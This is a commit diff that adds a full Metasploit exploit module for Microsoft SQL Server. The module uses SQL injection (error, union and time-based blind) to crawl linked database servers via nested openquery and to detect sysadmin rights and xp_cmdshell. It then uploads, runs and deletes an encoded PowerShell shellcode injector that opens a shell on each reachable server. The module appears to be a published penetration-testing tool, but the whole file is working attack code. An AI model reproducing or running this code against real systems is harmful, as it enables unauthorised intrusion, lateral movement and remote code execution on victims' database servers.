msftidy updates
nullbind
parent
8bb95e9f17
commit
9158497fb4
|
|
@ -0,0 +1,568 @@
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/mssql_commands'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::MSSQL_SQLI
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Exploit::CmdStagerVBS
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Microsoft SQL Server - Database Link Crawler',
|
||||||
|
'Description' => %q{
|
||||||
|
When provided with a valid SQLi URL, this module will crawl SQL Server database links and identify MSSQL links configured with sysadmin privileges.
|
||||||
|
|
||||||
|
Syntax for injection URLs:
|
||||||
|
|
||||||
|
Error: /account.asp?id=1+and+1=[SQLi];--
|
||||||
|
|
||||||
|
Union: /account.asp?id=1+union+all+select+null,[SQLi],null;--
|
||||||
|
Union works most reliably if "id=1" does not return any data, i.e. use "id=12345678"
|
||||||
|
|
||||||
|
Blind: /account.asp?id=1;[SQLi];--
|
||||||
|
|
||||||
|
The payload deployment works currently only on systems that have powershell. Powershell deployment code based on Matthew Graeber's research.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Antti Rantasaari <antti.rantasaari@netspi.com>',
|
||||||
|
'Scott Sutherland "nullbind" <scott.sutherland@netspi.com>'
|
||||||
|
],
|
||||||
|
'Platform' => [ 'Windows' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [[ 'URL', 'http://www.netspi.com/' ],['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
|
||||||
|
['URL','http://www.exploit-monday.com/2011_10_16_archive.html']],
|
||||||
|
'Version' => '$Revision: 1 $',
|
||||||
|
'DisclosureDate' => 'Jan 1 2000',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', { } ],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptBool.new('VERBOSE', [false, 'Set how verbose the output should be', 'false']),
|
||||||
|
OptString.new('TYPE', [ true, 'SQLi type (ERROR,UNION, or BLIND)', 'ERROR']),
|
||||||
|
OptString.new('CHARSET', [true, 'Charset used for blind injections', 'default']),
|
||||||
|
OptString.new('DELAY', [true, 'Time delay for blind injections - 1-5 seconds', '1']),
|
||||||
|
OptBool.new('DEPLOY', [true, 'Deploy a payload on target systems', 'true']),
|
||||||
|
OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy payload to (blank = all)'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
masterList = Array.new
|
||||||
|
masterList[0] = Hash.new # Define new hash
|
||||||
|
masterList[0]["name"] = "" # Name of the current database server
|
||||||
|
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
|
||||||
|
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
|
||||||
|
shelled = Array.new # keeping track of shelled systems to prevent multiple incoming sa links resulting in multiple shells on one system
|
||||||
|
|
||||||
|
# Create table to store configuration information from crawled database server links
|
||||||
|
linked_server_table = Rex::Ui::Text::Table.new(
|
||||||
|
'Header' => 'Linked Server Table',
|
||||||
|
'Ident' => 1,
|
||||||
|
'Columns' => ['db_server', 'link_path','link_priv','link_status']
|
||||||
|
)
|
||||||
|
save_loot = ""
|
||||||
|
|
||||||
|
type = datastore['type'].to_s.downcase
|
||||||
|
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
print_status("Start time : #{Time.now}")
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
print_status("Enumerating name of database server entry point")
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
|
||||||
|
########################################
|
||||||
|
# Going through each identified database
|
||||||
|
########################################
|
||||||
|
while masterList.any? {|f| f["done"] == 0}
|
||||||
|
server = masterList.detect {|f| f["done"] == 0}
|
||||||
|
if type=="error" or type=="union"
|
||||||
|
execute = "(select @@servername as int)"
|
||||||
|
sql = query_builder(server["path"].first,"",0,execute)
|
||||||
|
res = mssql_query(sql)
|
||||||
|
unless res == nil
|
||||||
|
name = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
|
||||||
|
else
|
||||||
|
name = nil
|
||||||
|
end
|
||||||
|
elsif type=="blind"
|
||||||
|
column = "@@servername"
|
||||||
|
name = blind_injection(server["path"].first,'name',column)
|
||||||
|
end
|
||||||
|
|
||||||
|
##################################################
|
||||||
|
# Printing statuses
|
||||||
|
# Calling mssql_permission_checker for good servers (not broken links)
|
||||||
|
##################################################
|
||||||
|
unless server["path"].first.first == nil
|
||||||
|
print("\n") if datastore['VERBOSE'] == true
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
print_status("Enumerating server information #{masterList[0]["name"]} -> #{server["path"].first.join(" -> ")}")
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
end
|
||||||
|
unless name == nil
|
||||||
|
server["name"] = name
|
||||||
|
print_status("Server information")
|
||||||
|
print_status(" o Server name: #{name}")
|
||||||
|
if server["path"].first.first != nil
|
||||||
|
print_status(" o Path: #{masterList[0]["name"]} -> #{server["path"].first.join(" -> ")}")
|
||||||
|
else
|
||||||
|
print_status(" o Path: NA")
|
||||||
|
end
|
||||||
|
privstatus = mssql_permission_checker(server,masterList,name,type,shelled)
|
||||||
|
badlink = 0
|
||||||
|
else
|
||||||
|
print_error("Server information - bad link")
|
||||||
|
print_status(" o Server name: #{server["path"].first.last}")
|
||||||
|
print_status(" o Path: #{masterList[0]["name"]} -> #{server["path"].first.join(" -> ")}")
|
||||||
|
print_status(" o Privileges: NA")
|
||||||
|
badlink = 1
|
||||||
|
end
|
||||||
|
|
||||||
|
# Write Report and Display output to the screen
|
||||||
|
save_loot = "yes"
|
||||||
|
write_to_report(server["name"],server["path"],masterList[0]["name"],privstatus,badlink,linked_server_table)
|
||||||
|
|
||||||
|
# Get number of good links on the server
|
||||||
|
count = nil
|
||||||
|
if type=="error" or type == "union" and name != nil
|
||||||
|
execute = "(select cast(count(srvname) as varchar) from master..sysservers where srvname != @@servername and dataaccess = 1 and srvproduct = 'SQL Server')"
|
||||||
|
sql = query_builder(server["path"].first,"",0,execute)
|
||||||
|
res = mssql_query(sql)
|
||||||
|
count = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
|
||||||
|
elsif type=="blind" and name !=nil
|
||||||
|
column = "srvname"
|
||||||
|
if server["name"] != nil
|
||||||
|
count = blind_injection(server["path"].first,'linkcount',column)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
###########################
|
||||||
|
# Crawling database links #
|
||||||
|
###########################
|
||||||
|
if count != nil and count != 0
|
||||||
|
print_status("")
|
||||||
|
print_status("Crawling linked servers on #{server["name"]}...")
|
||||||
|
print_status("Links found: #{count}")
|
||||||
|
(1..Integer(count)).each do |i|
|
||||||
|
name = nil
|
||||||
|
if type=="error" or type == "union"
|
||||||
|
execute = "select top 1 srvname from master..sysservers where srvname in (select top " + i.to_s + \
|
||||||
|
" srvname from master..sysservers where srvname != @@servername and dataaccess = 1 \
|
||||||
|
and srvproduct = 'SQL Server' order by srvname asc) order by srvname desc"
|
||||||
|
sql = query_builder(server["path"].first,"",0,execute)
|
||||||
|
res = mssql_query(sql)
|
||||||
|
name = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
|
||||||
|
elsif type=="blind"
|
||||||
|
column = "srvname"
|
||||||
|
name = blind_injection(server["path"].first,'name',column,i.to_s)
|
||||||
|
end
|
||||||
|
print_status("Found a link to #{name}")
|
||||||
|
|
||||||
|
if name != nil
|
||||||
|
unless masterList.any? {|f| f["name"] == name}
|
||||||
|
masterList << add_host(name,server["path"].first)
|
||||||
|
else
|
||||||
|
(0..masterList.length-1).each do |x|
|
||||||
|
if masterList[x]["name"] == name
|
||||||
|
masterList[x]["path"] << server["path"].first.dup
|
||||||
|
masterList[x]["path"].last << name
|
||||||
|
print_status("Alternative path to #{name}: #{masterList.first["name"]} -> #{server["path"].first.join(" -> ")} -> #{name}")
|
||||||
|
privstatus = mssql_permission_checker(server,masterList,name,type,shelled)
|
||||||
|
else
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
server["done"] = 1
|
||||||
|
end
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
print_status("End time : #{Time.now}")
|
||||||
|
print_status("----------------------------------------------------")
|
||||||
|
|
||||||
|
# Setup table for loot
|
||||||
|
this_service = nil
|
||||||
|
if framework.db and framework.db.active
|
||||||
|
this_service = report_service(
|
||||||
|
:host => rhost,
|
||||||
|
:port => rport,
|
||||||
|
:name => 'mssql',
|
||||||
|
:proto => 'tcp'
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Write log to loot / file
|
||||||
|
if (save_loot=="yes")
|
||||||
|
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
|
||||||
|
path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
|
||||||
|
print_status("Results have been saved to: #{path}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
# Method to check if xp_cmdshell accessible - if so, calls payload delivery method
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
def mssql_permission_checker(server,masterList,name,type,shelled)
|
||||||
|
temppath = Array.new
|
||||||
|
server["path"].first.each {|j| temppath << j}
|
||||||
|
|
||||||
|
unless temppath.last == name or server["path"].first.first == nil
|
||||||
|
temppath << name
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checking if sysadmin privileges on the server
|
||||||
|
sysadmin = "0"
|
||||||
|
if type == "error" or type == "union"
|
||||||
|
execute = "(select cast(is_srvrolemember('sysadmin') as varchar))"
|
||||||
|
sql = query_builder(temppath,"",0,execute)
|
||||||
|
res = mssql_query(sql)
|
||||||
|
sysadmin = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
|
||||||
|
elsif type == "blind"
|
||||||
|
column = "sysadmin"
|
||||||
|
sysadmin = blind_injection(temppath,"enabled",column)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checking if xp_cmdshell enabled
|
||||||
|
if sysadmin == "1"
|
||||||
|
print_status(" o Privileges: sysadmin")
|
||||||
|
xpcmdshell = "0"
|
||||||
|
if type == "error" or type == "union"
|
||||||
|
execute = "(select cast(value_in_use as varchar) FROM sys.configurations WHERE name = 'xp_cmdshell')"
|
||||||
|
sql = query_builder(temppath,"",0,execute)
|
||||||
|
res = mssql_query(sql)
|
||||||
|
xpcmdshell = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
|
||||||
|
elsif type == "blind"
|
||||||
|
column = "xpcmdshell"
|
||||||
|
xpcmdshell = blind_injection(temppath,"enabled",column)
|
||||||
|
end
|
||||||
|
if xpcmdshell == "1"
|
||||||
|
if temppath[0] == nil
|
||||||
|
print_good(" o Xp_cmdshell enabled on #{masterList.first["name"]}")
|
||||||
|
else
|
||||||
|
print_good(" o Xp_cmdshell enabled on #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
|
||||||
|
end
|
||||||
|
if type == "error" or type == "union" and temppath.first == nil
|
||||||
|
print_status("Attempting to deliver payload on first server #{name}")
|
||||||
|
print_status("This may fail depending on the injection point [SQLi] location")
|
||||||
|
print_status("If no shell, try mssql_payload_sqli module")
|
||||||
|
end
|
||||||
|
# Deploying a payload if no shells on system and DEPLOY = true
|
||||||
|
unless shelled.include?(name)
|
||||||
|
#Deploy to specific target if specified
|
||||||
|
if datastore['DEPLOYLIST']==""
|
||||||
|
datastore['DEPLOYLIST'] = nil
|
||||||
|
end
|
||||||
|
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
|
||||||
|
print_status("\t - Checking if #{name} is on the deploy list...")
|
||||||
|
end
|
||||||
|
if datastore['DEPLOYLIST'] != nil
|
||||||
|
deploylist = datastore['DEPLOYLIST'].upcase.split(',')
|
||||||
|
end
|
||||||
|
if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
|
||||||
|
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
|
||||||
|
print_status("\t - #{name} is on the deploy list.")
|
||||||
|
end
|
||||||
|
if datastore['DEPLOY']
|
||||||
|
powershell_upload_exec(temppath)
|
||||||
|
end
|
||||||
|
shelled << name
|
||||||
|
return 1
|
||||||
|
else
|
||||||
|
print_status("\t - #{name} is NOT on the deploy list, moving on.") and datastore["VERBOSE"] == true
|
||||||
|
return 1
|
||||||
|
end
|
||||||
|
else
|
||||||
|
if datastore['DEPLOY']
|
||||||
|
print_status("Payload already deployed on #{name}")
|
||||||
|
return 1
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_status(" o Privileges: user")
|
||||||
|
return 0
|
||||||
|
end
|
||||||
|
end
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
# Method for blind SQL injections
|
||||||
|
# Will fail if targeted server very slow - mssql_query function times out at 5 seconds
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
def blind_injection(path,command,column,topcount=false)
|
||||||
|
delay = datastore['DELAY']
|
||||||
|
if delay.to_i<1 or delay.to_i>5
|
||||||
|
delay = 1
|
||||||
|
end
|
||||||
|
if command=="name"
|
||||||
|
length = 0
|
||||||
|
spot = 1
|
||||||
|
name = ""
|
||||||
|
# checking if link works - if good, returns link name; if bad, returns nil
|
||||||
|
unless path.last == nil or column == "srvname"
|
||||||
|
execute = "select 1; if(select len((#{column})))>0 begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
starttime = Time.now
|
||||||
|
mssql_query(sql)
|
||||||
|
if Time.now - starttime > delay.to_i
|
||||||
|
return path.last
|
||||||
|
else
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
# get the length of @@servername or linked server srvname
|
||||||
|
print(" Extracting #{column} value length: ") if datastore['VERBOSE'] == true
|
||||||
|
(1..100).each do |i|
|
||||||
|
if column == "@@servername"
|
||||||
|
execute = "select 1; if(select len((#{column})))=#{i.to_s} begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
end
|
||||||
|
if column == "srvname"
|
||||||
|
execute = "select 1; if(select top 1 len(srvname) from master..sysservers where srvname in \
|
||||||
|
(select top #{topcount} srvname from master..sysservers where srvname != @@servername and \
|
||||||
|
dataaccess = 1 and srvproduct = 'SQL Server' order by srvname asc) order by srvname desc)='#{i.to_s}' \
|
||||||
|
begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
end
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
starttime = Time.now
|
||||||
|
mssql_query(sql)
|
||||||
|
if Time.now - starttime > delay.to_i
|
||||||
|
print("#{i}\n") if datastore['VERBOSE'] == true
|
||||||
|
length = i
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if length == 100
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
# enumerate servername or linked server servername one character at a time
|
||||||
|
if datastore['CHARSET'] == 'default'
|
||||||
|
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.\\/-_#!?*@$%&()"
|
||||||
|
elsif
|
||||||
|
charset = datastore['CHARSET']
|
||||||
|
end
|
||||||
|
|
||||||
|
spot = 1
|
||||||
|
print(" Extracting #{column} value: ") if datastore['VERBOSE'] == true
|
||||||
|
|
||||||
|
while spot <= length
|
||||||
|
charset.each_char do |i|
|
||||||
|
if column == "@@servername"
|
||||||
|
execute = "select 1; if(select substring(#{column},#{spot},1))='#{i}' begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
end
|
||||||
|
if column == "srvname"
|
||||||
|
execute = "select 1; if(select top 1 substring(srvname,#{spot},1) from master..sysservers \
|
||||||
|
where srvname in (select top #{topcount} srvname from master..sysservers where srvname \
|
||||||
|
!= @@servername and dataaccess = 1 and srvproduct = 'SQL Server' order by srvname asc) \
|
||||||
|
order by srvname desc)='#{i}' begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
end
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
starttime = Time.now
|
||||||
|
mssql_query(sql)
|
||||||
|
if Time.now - starttime > delay.to_i
|
||||||
|
spot = spot+1
|
||||||
|
name = name + i
|
||||||
|
print("#{i}") if datastore['VERBOSE'] == true
|
||||||
|
break
|
||||||
|
end
|
||||||
|
if i == charset[-1]
|
||||||
|
print("\n") if datastore['VERBOSE'] == true
|
||||||
|
print_error("Failed to enumerated server name")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
print("\n") if datastore['VERBOSE'] == true
|
||||||
|
return name
|
||||||
|
|
||||||
|
# check how many linked servers on database server
|
||||||
|
elsif command=="linkcount"
|
||||||
|
(0..100).each do |i|
|
||||||
|
execute = "select 1; if(select count(srvname) from master..sysservers where srvname != @@servername and dataaccess = 1 \
|
||||||
|
and srvproduct = 'SQL Server')=#{i} begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
starttime = Time.now
|
||||||
|
mssql_query(sql)
|
||||||
|
if Time.now - starttime > delay.to_i
|
||||||
|
return i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return nil
|
||||||
|
|
||||||
|
# check is sysadmin or xp_cmdshell enabled
|
||||||
|
elsif command=="enabled"
|
||||||
|
if column == "sysadmin"
|
||||||
|
execute = "select 1; if(select is_srvrolemember('sysadmin'))=1 begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
end
|
||||||
|
if column == "xpcmdshell"
|
||||||
|
execute = "select 1; if(select cast(value_in_use as varchar) FROM sys.configurations WHERE name = 'xp_cmdshell')='1' \
|
||||||
|
begin waitfor delay '0:0:#{delay}' end"
|
||||||
|
end
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
starttime = Time.now
|
||||||
|
mssql_query(sql)
|
||||||
|
if Time.now - starttime > delay.to_i
|
||||||
|
return "1"
|
||||||
|
end
|
||||||
|
return "0"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
# Method that builds nested openquery statements using during crawling
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
def query_builder(path,sql,ticks,execute,nowrap=false)
|
||||||
|
# Temp used to maintain the original masterList[x]["path"]
|
||||||
|
temp = Array.new
|
||||||
|
path.each {|i| temp << i}
|
||||||
|
# actual query - defined when the function originally called - ticks multiplied
|
||||||
|
if path.length == 0
|
||||||
|
if ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "error"
|
||||||
|
execute = "(select cast('startmsf'+(" + execute + ")+'endmsf' as int))"
|
||||||
|
elsif ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "union"
|
||||||
|
execute = "(select 'startmsf'+(" + execute + ")+'endmsf')"
|
||||||
|
end
|
||||||
|
return execute.gsub("'","'"*2**ticks)
|
||||||
|
# openquery generator
|
||||||
|
else
|
||||||
|
sql = "(select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + "))"
|
||||||
|
if ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "error"
|
||||||
|
sql = "(select cast('startmsf'+(" + sql + ")+'endmsf' as int))"
|
||||||
|
elsif ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "union"
|
||||||
|
sql = "(select 'startmsf'+(" + sql + ")+'endmsf')"
|
||||||
|
end
|
||||||
|
return sql
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
# Method for adding new linked database servers to the crawl list
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
def add_host(name,path)
|
||||||
|
# Used to add new servers to masterList
|
||||||
|
server = Hash.new
|
||||||
|
server["name"] = name # Name of the current database server
|
||||||
|
temppath = Array.new
|
||||||
|
path.each {|i| temppath << i }
|
||||||
|
server["path"] = [temppath]
|
||||||
|
server["path"].first << name
|
||||||
|
server["done"] = 0
|
||||||
|
return server
|
||||||
|
end
|
||||||
|
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
# Method for generating the report
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
def write_to_report(server_name,server_path,master_name,privstatus,badlink,linked_server_table)
|
||||||
|
# Set server name
|
||||||
|
report_server = server_name
|
||||||
|
# Set path
|
||||||
|
if server_path.first.first == nil #can be used to determine if entry point
|
||||||
|
report_path = "NA"
|
||||||
|
frontlabel = ""
|
||||||
|
else
|
||||||
|
report_path = "#{master_name} -> #{server_path.first.join(" -> ")}"
|
||||||
|
frontlabel = "Link "
|
||||||
|
end
|
||||||
|
# Set privilege level language
|
||||||
|
if privstatus == 0 then
|
||||||
|
report_priv = "USER"
|
||||||
|
else
|
||||||
|
report_priv = "SYSADMIN!"
|
||||||
|
end
|
||||||
|
# Set bad link language
|
||||||
|
if badlink == 1 then
|
||||||
|
report_status = "DOWN"
|
||||||
|
report_priv = "NA"
|
||||||
|
else
|
||||||
|
report_status = "UP"
|
||||||
|
end
|
||||||
|
# Add report entry
|
||||||
|
linked_server_table << [report_server,report_path,report_priv,report_status]
|
||||||
|
return linked_server_table
|
||||||
|
end
|
||||||
|
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
# Method that delivers shellcode payload via powershell thread injection
|
||||||
|
# Leaves a powershell process running on the target system
|
||||||
|
# Code based on http://www.exploit-monday.com/2011_10_16_archive.html
|
||||||
|
#-------------------------------------------------------------------------------------
|
||||||
|
def powershell_upload_exec(path)
|
||||||
|
|
||||||
|
print_status("Deploying a payload")
|
||||||
|
# Create powershell script that will inject our shell code
|
||||||
|
# Note: Must start multi/handler and set DisablePayloadHandler if expecting multiple shells
|
||||||
|
myscript ="$code = @\"
|
||||||
|
[DllImport(\"kernel32.dll\")]
|
||||||
|
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||||
|
[DllImport(\"kernel32.dll\")]
|
||||||
|
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||||
|
[DllImport(\"msvcrt.dll\")]
|
||||||
|
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
|
||||||
|
\"@
|
||||||
|
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
|
||||||
|
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
|
||||||
|
$size = 0x1000
|
||||||
|
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
|
||||||
|
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
|
||||||
|
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
|
||||||
|
$winFunc::CreateThread(0,0,$x,0,0,0)"
|
||||||
|
|
||||||
|
# Unicode encode powershell script
|
||||||
|
mytext_uni = Rex::Text.to_unicode(myscript)
|
||||||
|
|
||||||
|
# Base64 encode unicode
|
||||||
|
mytext_64 = Rex::Text.encode_base64(mytext_uni)
|
||||||
|
|
||||||
|
# Generate random file name
|
||||||
|
rand_filename = rand_text_alpha(8)
|
||||||
|
var_duplicates = rand_text_alpha(8)
|
||||||
|
|
||||||
|
# Write base64 encode powershell payload to temp file
|
||||||
|
# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
|
||||||
|
# Adding line number tracking to remove line duplication from nested link write commands
|
||||||
|
linenum = 0
|
||||||
|
mytext_64.scan(/.{1,2500}/).each {|part|
|
||||||
|
execute = "(select 1); EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
result = mssql_query(sql, false)
|
||||||
|
linenum = linenum+1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Remove duplicate lines from temp file and write to new file
|
||||||
|
execute = "(select 1);exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
result = mssql_query(sql, false)
|
||||||
|
|
||||||
|
execute = "(select 1);exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
result = mssql_query(sql, false)
|
||||||
|
|
||||||
|
# Generate base64 encoded powershell command we can use noexit and avoid parsing errors
|
||||||
|
# If running on 64bit system, 32bit powershell called from syswow64 - path to Powershell on 64bit systems hardcoded
|
||||||
|
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) \
|
||||||
|
-join '';if((gci env:processor_identifier).value -like '*64*'){$psbits=\"C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe \
|
||||||
|
-noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe -noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
|
||||||
|
powershell_uni = Rex::Text.to_unicode(powershell_cmd)
|
||||||
|
powershell_base64 = Rex::Text.encode_base64(powershell_uni)
|
||||||
|
|
||||||
|
## Setup and execute shellcode with powershell via xp_cmdshell
|
||||||
|
print_status("Executing the payload")
|
||||||
|
execute = "(select 1); EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_base64}'"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
result = mssql_query(sql, false)
|
||||||
|
|
||||||
|
# Remove payload data from the target server
|
||||||
|
execute = "(select 1); EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
|
||||||
|
sql = query_builder(path,"",0,execute,true)
|
||||||
|
result = mssql_query(sql,false)
|
||||||
|
end
|
||||||
|
end
|
||||||
Loading…
Reference in New Issue